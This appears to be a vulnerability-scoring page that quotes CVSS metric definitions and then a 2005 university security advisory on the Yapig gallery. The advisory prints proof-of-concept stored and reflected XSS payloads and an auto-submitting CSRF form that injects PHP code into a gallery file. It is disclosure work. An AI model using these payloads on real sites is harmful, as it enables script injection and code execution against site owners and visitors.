The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
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Yapig: XSS / Code Injection Vulnerability
===========================================================
Technical University of Vienna Security Advisory
TUVSA-0510-001, October 13, 2005
===========================================================
Affected applications
----------------------
Yapig (yapig.sourceforge.net)
Versions 0.95b and prior.
Description
------------
1.) Stored XSS
An attacker can include malicious JavaScript by posting an image-related comment and inserting something like the following into the "Homepage" form field:
"><script>alert('hi')</script>
This attack falls under the category of stored cross-site scripting and doesn't require the attacker to be logged in.
2.) Reflected XSS
An attacker can include malicious JavaScript by tricking a user into clicking a link to the following URL:
http://your-server/path-to-yapig/view.php?gid=1&phid=1&img_size=><script
>alert('hi')</script>
The fields "your-server" and "path-to-yapig" in the given URL have to be adjusted accordingly. The parameters "gid=1" and "phid=1" assume that there exist a gallery and a photo with ID 1 and can be adjusted as well.
Moreover, the width of the image being viewed has to be less than $MAX_IMG_SIZE (set inside config.php) because otherwise, the vulnerable variable $img_size is set to a safe value inside the if-branch on line 120 of view.php. And finally, register_globals has to be active.
3.) Code Injection
An attacker can inject arbitrary PHP code into a gallery's "guid_info.php" file by tricking the logged-in admin into clicking a link to a page with the following contents:
<form method="post" action="http://your-server/path-to-yapig/yapig095b/modify_gallery.php?ac
tion=mod_info&gid=1">
<input value='TestGallery"; echo "evil' name="title" type="text">
<input value="TestAuthor" name="author" type="text">
<input value="TestDate" name="date" type="text">
<input value="" name="dir" type="text">
<input value="TestDescription" name="desc" type="text">
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
As for vulnerability #2, "your-server", "path-to-yapig", "gid" and "phid" can be adjusted.
Apart from this, Yapig seems to be susceptible to "Cross-Site Request Forgery" (CSRF) attacks in general. However, this problem is not limited to Yapig, but affects a large number of comparable web applications available at this time.
Solution
---------
Attempts to contact the authors were not successful until now, so there is no official solution available yet.
Timeline:
September 28, 2005: Attempt to contact Yapig developers via "natasab at users.sourceforge.net".
October 5, 2005: Attempt to contact Yapig developers via Sourceforge bug tracker.
October 13, 2005: Advisory submission.
Nenad Jovanovic
Secure Systems Lab
Technical University of Vienna
www.seclab.tuwien.ac.at
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